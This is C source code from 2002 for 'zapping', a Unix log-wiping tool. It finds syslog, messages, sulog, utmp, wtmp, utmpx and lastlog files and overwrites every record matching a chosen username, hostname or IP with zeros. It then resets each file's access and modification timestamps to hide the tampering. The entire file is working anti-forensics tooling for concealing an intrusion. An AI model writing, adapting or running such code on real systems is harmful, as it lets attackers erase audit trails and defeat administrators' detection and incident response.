/* 
   Matias Sedalo <s0t4ipv6@shellcode.com.ar>
   zapping.c version 0.2 release 4

   Clean the logs of the common files in the OS, and search the rest
   of the files on the PATH defined in the dir var on main.
   Without repeating the search of this files in others PATH's.
   It should work on every linux distributions.
   Zapping will preserve the original access and modification date of the 
   file modified.
 
   on *BSD compile:
   $ cc -o zapping2 -D__BSD zapping-0.2.c
   and change the log files.
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>  // Files
#include <sys/stat.h>
#include <utime.h>		// utime set(struct utimbuf)
#include <time.h>		// convert to ascii date
#include <fcntl.h>
#include <pwd.h>		// Logs
#include <utmp.h>      
#ifndef __BSD
#include <utmpx.h>
#include <lastlog.h>
#endif

#define	VERSION	"0.2r4"

#define	MAXF	8
#define DIRS   	5       // directorios de busqueda
#define	L_FILE	256
/* solo recorremos 2 = 1/2 
   3 = 1/3 , 4 = 1/4 ... etc del archivo a partir del final del mismo */
#define PART	4
/* particionamos el archivo si supera 
   solo afecta a los archivos de texto claro */
#define	LIMIT	614400	// 600k

typedef struct { int  state; char name[L_FILE]; } un_file ;
struct a_arch { un_file file[MAXF]; } ; 
struct utimbuf buftime;			// Acumulador de fecha y hora original
static int a, pag;
	
/* agregar a su gusto desde aca ... */
  char *dir[DIRS]={"/usr/adm", "/var/log", "/var/run", "/var/adm" ,"/usr/log" };
  struct a_arch page[2]={
	/* Pagina 0: archivos de texto claro */
	0,"notice",	0,"info",
	0,"messages",	0,"sulog",
	0,"syslog",	0,"mail", 
	0,"",		0,"",	// agregar aca
	/* Pagina 1: archivos de formato */
        0,"utmp",	0,"utmpx",
	0,"wtmp",	0,"wtmpx",
	0,"lastlog",	0,"", 	// agregar aca
	};
  /* state 0 : inicializacion 
     state 1 : archivo encontrado
     state 2 : pattern borrado */
/* ... hasta aca */

/* uso */
void _use(char *alpha) {
  fprintf (stderr,"zapping version %s by s0t4ipv6 <s0t4ipv6@shellcode.com.ar>"
		"\nuse: %s [ username/string | hostname | IP ]\n", VERSION,alpha);
  exit(0);
}

/* Devolvemos fecha y hora del archivo encontrado */
void readtime(char *path, char *filename) {
  struct stat filestat;
  char filef[strlen(path)+strlen(filename)+1];

  snprintf(filef, sizeof(filef) + 1, "%s/%s", path, filename);

  if ( lstat(filef, &filestat) == -1 ) {
	perror("readtime()"); exit(0);
  }

  buftime.actime=filestat.st_atime;
  buftime.modtime=filestat.st_mtime;
}

/* Una vez cerrado el archivo ponemos la fecha original */
void writetime(char *path, char *filename) {
  char filef[strlen(path)+strlen(filename)+1];
  char atime[28], mtime[28];

  snprintf(filef, sizeof(filef) + 1, "%s/%s", path, filename);
  snprintf(atime, 25, "%s", ctime(&buftime.actime));
  snprintf(mtime, 25, "%s", ctime(&buftime.modtime)); 

  fprintf(stderr,"\n  Preserving Last access: [ %s ]", atime);
  fprintf(stderr,"\n  Preserving Last Modification: [ %s ]", mtime);

  if ( utime(filef, &buftime) == -1 ) {
	perror("writetime()"); exit(0); 
  }
  
}

/* Detectamos si es un hostname un dominio o un usuario */
int _detect(char *alpha) {
  char    tok[4]={0};
  int     sl=0;

  if ( (strchr(alpha, 0x2e )) != NULL ) {
    memccpy(tok, alpha, 0x2e , 3);
    sl=1; // 1 si es un hostname
    /* 2 si tiene el formato de IP */
    if ( atoi(tok) > 0 && atoi(tok) < 256 ) sl=2;
  }
  return sl;
}


int _pseek(int ffdd, int offset) {
  struct stat filestat;
  fstat(ffdd, &filestat);
  /* para archivos mayores a 4k */
  if ( filestat.st_size > LIMIT && offset > 1) {
  	lseek(ffdd, (filestat.st_size / offset), SEEK_CUR);
	fprintf(stderr, "\n  File size: %d kbytes", filestat.st_size / 1024);
  }
  return filestat.st_size;
}


void _formatclean(int fdesc, char *name, char *pat, int type) {
  int 	  size, org;
  int	  equis; 
  int	  chk=0, count=0;
  struct  passwd  *_pass;
  struct  utmp    uwtmp;
  struct  lastlog _lastlog;
#ifndef __BSD
  struct  utmpx   uwtmpx;
#endif
  /* equis = 1 then utmpx wtmpx else 2 lastlog*/
  equis = _patterncmp("tmpx", name) ;
  if ( (_patterncmp("lastlog", name)) == 1 ) equis=2;

  switch (equis) {
    case 0:  // utmp wtmp
	size=sizeof(struct utmp);
	while ( (org=read(fdesc, &uwtmp, size)) > 0 ) {
#ifndef __BSD
	 if ( type == 0 ) chk=_patterncmp(pat, uwtmp.ut_user);
#else
	 if ( type == 0 ) chk=_patterncmp(pat, uwtmp.ut_name);
#endif
	 if ( type == 1 || type == 2 ) chk=_patterncmp(pat, uwtmp.ut_host);
	 if ( chk == 1 ) {
	  count++;
	  if( count == 1 ) fprintf(stderr,"\n  Found %s", pat);
	  memset(&uwtmp, 0x0, size);
	  lseek(fdesc, -org, SEEK_CUR);
	  write(fdesc, &uwtmp, size);
	 }
	}
	break;
    case 1:  // *tmpx
#ifndef __BSD
	size=sizeof(struct utmpx);
	while ( (org=read(fdesc, &uwtmpx, size)) > 0) {
	 if (type==0) chk=_patterncmp(pat, uwtmpx.ut_user);
	 if (type==1 || type==2) chk=_patterncmp(pat, uwtmpx.ut_host);
	 if (chk==1) {
	  count++;
	  if( count == 1 )fprintf(stderr,"\n  Found %s", pat);
	  memset(&uwtmpx, 0x0,size);
	  lseek(fdesc, -org, SEEK_CUR);
	  write(fdesc, &uwtmpx, size);
	 }
	}
#else
	fprintf(stderr,"\n  Not supported on BSD");
#endif
	break;
    case 2:  // lastlog
	size=sizeof(struct lastlog);
	if ( type == 0 ) {
	 if ( (_pass=getpwnam(pat)) != NULL ) {
	  fprintf (stderr, "\n  Found %s, uid = %d home = %s", 
			pat, _pass->pw_uid,  _pass->pw_dir);
	  lseek(fdesc, _pass->pw_uid * size, SEEK_SET);
	  memset(&_lastlog, 0x0, size);
	  write(fdesc, &_lastlog, size);
	 } else { fprintf(stderr,"\n  User not found"); } 
	} 
	if ( type == 1 || type == 2 ) { // aunque sea una IP
	 while ( (org=read(fdesc, &_lastlog, size)) > 0) {
	 if ( _patterncmp(pat, _lastlog.ll_host) == 1 ) {
	  count++;
	  if (count==1)fprintf(stderr,"\n  Found %s", pat);
	  memset(&_lastlog, 0x0,size);
	  lseek(fdesc, -org, SEEK_CUR);
	  write(fdesc, &_lastlog, size);
	  }
	 }
	}
	break;
  }
  if ( count != 0 ) { 
	fprintf(stderr, " %d times. Zap.", count);
    page[pag].file[a].state=2; // second state
	} else if ( equis != 2 || type != 0 ) fprintf(stderr,"\n  It's clean.");
}


void _asciiclean(int fdesc, char *name, char *pat) {
  int  size=strlen(pat);
  int  rest=0, cant=0, sf;
  char *find;
  int  filesize=_pseek(fdesc, PART);
  
  if ( (find=(char *)calloc(size, sizeof(char))) == NULL )
    { perror("calloc()"); exit(0); }

  while ( (read(fdesc, find, size)) > 0 ) {
    sf=_patterncmp(pat, find);
    if ( sf == 1 ) {
      memset(find, 0x0, size);
      lseek(fdesc,-size,SEEK_CUR);
      write(fdesc,find, size); 
      cant++;
      }
    if ( cant == 1 && sf == 1 ) fprintf(stderr,"\n  Pattern found: ");
    if ( rest + size != filesize)
      rest = lseek(fdesc, -size + 1, SEEK_CUR);
  }
  if ( cant != 0 ) { 
	  fprintf(stderr,"%d times. Zap.", cant);
      page[pag].file[a].state=2; // second state
    } else fprintf(stderr,"\n  It's clean.");
}


/* buscamos el string _bb en el buffer _aa */
int _patterncmp(char *_aa, char *_bb) {
  if ( memcmp(_aa, _bb, strlen(_aa)) == 0 ) 
    return 1;       // devuelve 1 si lo encontramos
   else
    return 0;       // 0 si no
}


/* intentamos abrir el archivo */
int _filesearch(char *path, char *filename) {
  int  filedesc;
  int  lenght=strlen(path)+strlen(filename)+1;
  char file[lenght];

  snprintf(file, lenght+1, "%s/%s", path, filename);
  filedesc=open(file, O_RDWR);
  return filedesc;
}


int main (int argc, char *argv[]) {
  int  b, num_type, fd;
  char *pattern;
  char *tipo[3]={"username/string", "hostname", "IP"};

  if ( argc < 2 ) _use(argv[0]);
  if ( (pattern=(char *)calloc(strlen(argv[1]), sizeof(char))) == NULL )
    { perror("calloc()"); exit(0); }

  pattern=argv[1];
  num_type= _detect(pattern);

  fprintf (stderr, "\n[ Zapping version %s by s0t4ipv6 ]\n",VERSION);
  fprintf (stderr, "\n* Cleaning %s = '%s' on ...\n", tipo[num_type], pattern);

  /* mi peque#a maquina de busqueda */
  /* ya no me interesa _PATH_H_ */
  for (pag=0; pag<2 ; pag++) {
   for (a=0; a<MAXF; a++) {
    if ( strlen(page[pag].file[a].name) == 0 ) break ;
    fprintf(stderr, "\n* file '%s' ", page[pag].file[a].name);
    for (b=0; b<DIRS; b++) {
	fd=0;
	if ( page[pag].file[a].state == 0 )
	  fd = _filesearch(dir[b], page[pag].file[a].name);
	if ( fd > 0 ) {
	  fprintf(stderr, "found in '%s'", dir[b]);
 	  page[pag].file[a].state=1; // first state
	  /* Completar el acumulador con la fecha y hora original */
	  readtime(dir[b], page[pag].file[a].name);
	  switch (pag) {
	    case 0: 
		_asciiclean(fd, page[pag].file[a].name, pattern); 
		break;
	    case 1: 
		_formatclean(fd, page[pag].file[a].name, pattern, num_type); 
		break;
	  }
	  close(fd);
	  /* Una vez cerrado el archivo si se ha encontrado el pattern 
		 entonces modificamos la fecha */
	  if ( page[pag].file[a].state == 2 )
	  	writetime(dir[b], page[pag].file[a].name);
	} /* if ( fd > ... */
    } /* for (b=0; b< ... */
    if ( page[pag].file[a].state == 0 ) fprintf(stderr,"not found!");
   } /* for (a=0; a< ... */
  fprintf(stderr,"\n");
  } /* for (pag=0; pag< ... */
	
fprintf(stderr,"\n_EOF\n\n");
exit(0);

} // _EOF_ (c) s0t4ipv6 2002
